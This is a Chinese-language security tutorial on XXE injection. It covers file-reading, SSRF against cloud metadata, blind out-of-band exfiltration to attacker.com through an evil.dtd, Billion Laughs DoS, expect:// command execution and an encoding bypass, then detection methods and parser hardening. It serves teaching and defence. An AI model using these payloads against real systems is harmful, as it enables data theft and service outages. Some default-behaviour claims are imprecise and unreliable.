一、XXE漏洞概述
1. 定义
XXE(XML External Entity Injection)即 XML外部实体注入漏洞,攻击者通过构造恶意XML数据,利用XML解析器的外部实体加载功能,实现 文件读取、内网探测、拒绝服务(DoS) 等攻击。
2. 危害
-
敏感文件读取:读取服务器上的
/etc/passwd
、C:\Windows\win.ini
等文件。 -
SSRF(服务端请求伪造):探测内网服务(如Redis、MySQL)或攻击云服务器元数据接口(如AWS的
169.254.169.254
)。 -
拒绝服务:通过递归实体(Billion Laughs攻击)耗尽服务器资源。
3. 常见场景
-
XML文件上传:如文档转换、数据导入功能。
-
Web Services(SOAP/XML-RPC):基于XML的API接口。
-
Office文件解析:DOCX、XLSX等格式解压后包含XML文件。
二、XML基础知识
1. XML结构
xml
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [<!ENTITY entity_name "entity_value"> ]> <root><element>&entity_name;</element> </root>
2. 实体类型
-
普通实体:仅用于XML文档内部引用。
xml
<!ENTITY name "value">
-
外部实体:引用外部资源(文件、URL)。
xml
<!ENTITY ext_file SYSTEM "file:///etc/passwd"> <!ENTITY ext_url SYSTEM "http://attacker.com/evil.dtd">
-
参数实体(需在DTD中使用):
xml
<!ENTITY % param_entity "evil_content">
三、XXE漏洞利用方法
1. 基础文件读取
Payload示例:
xml
<?xml version="1.0"?> <!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <data>&xxe;</data>
利用条件:
-
XML解析器启用外部实体(默认开启)。
-
响应中回显实体内容(或通过报错/延时判断)。
2. SSRF攻击(探测内网)
Payload示例:
xml
<!DOCTYPE data [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> ]> <data>&xxe;</data>
利用场景:
-
云服务器元数据泄露(AWS、阿里云)。
-
内网服务指纹识别(如Redis的
+PONG
响应)。
3. 盲注XXE(无回显利用)
步骤:
-
触发带外请求(OOB):
xml
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd;
-
evil.dtd内容:
xml
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>"> %eval; %exfil;
-
攻击者服务器:捕获
data
参数中的文件内容。
4. 拒绝服务攻击(Billion Laughs)
Payload示例:
xml
<!DOCTYPE data [<!ENTITY lol "lol"><!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"><!-- 递归定义更多实体 --> ]> <data>&lol9;</data>
效果:引发XML解析器内存耗尽,导致服务崩溃。
四、不同语言/库的XXE差异
语言/库 | 默认是否允许外部实体 | 禁用方法 |
---|---|---|
PHP (libxml) | 默认禁用(≥8.0) | libxml_disable_entity_loader(true) |
Java (DOM) | 默认启用 | 设置 DocumentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true) |
Python lxml | 默认禁用 | 显式禁用 resolve_entities=False |
.NET | 默认启用 | XmlReaderSettings.DtdProcessing = Prohibit |
五、绕过技巧与高级利用
1. 协议扩展
-
PHP的
expect
协议(需安装扩展):xml
<!ENTITY xxe SYSTEM "expect://id">
-
Java的
jar
协议:xml
<!ENTITY xxe SYSTEM "jar:http://attacker.com/evil.jar!/file.txt">
2. 编码绕过
-
UTF-7编码:
xml
<?xml version="1.0" encoding="UTF-7"?> +ADwAIQ-DOCTYPE data+AFs +ADwAIQ-ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI +AD4AXQA+
3. 嵌套外部DTD
xml
<!DOCTYPE data SYSTEM "http://attacker.com/evil.dtd">
evil.dtd内容:
xml
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>"> %eval; %exfil;
六、漏洞检测方法
1. 手动检测
-
修改Content-Type:将请求的
Content-Type
改为application/xml
,插入测试实体。 -
Payload测试:
xml
<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>
2. 工具检测
-
Burp Suite插件:
-
XML External Entity Injector:自动生成XXE Payload。
-
Collaborator Everywhere:检测盲注XXE的带外请求。
-
-
命令行工具:
bash
xxer --url http://target.com/api --data '<xml>...</xml>' --oob-server attacker.com
七、防御方案
1. 禁用外部实体
-
PHP:
libxml_disable_entity_loader(true);
-
Java:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
2. 使用安全解析器
-
选择默认禁用DTD的库(如Python的
defusedxml
)。 -
配置XML解析器为不解析实体:
python
from lxml import etree parser = etree.XMLParser(resolve_entities=False)
3. 输入过滤与白名单
-
过滤XML中的
<!DOCTYPE
和<!ENTITY
关键字。 -
使用JSON替代XML(若业务允许)。
4. WAF规则
-
拦截包含
SYSTEM
、file://
、http://
的请求。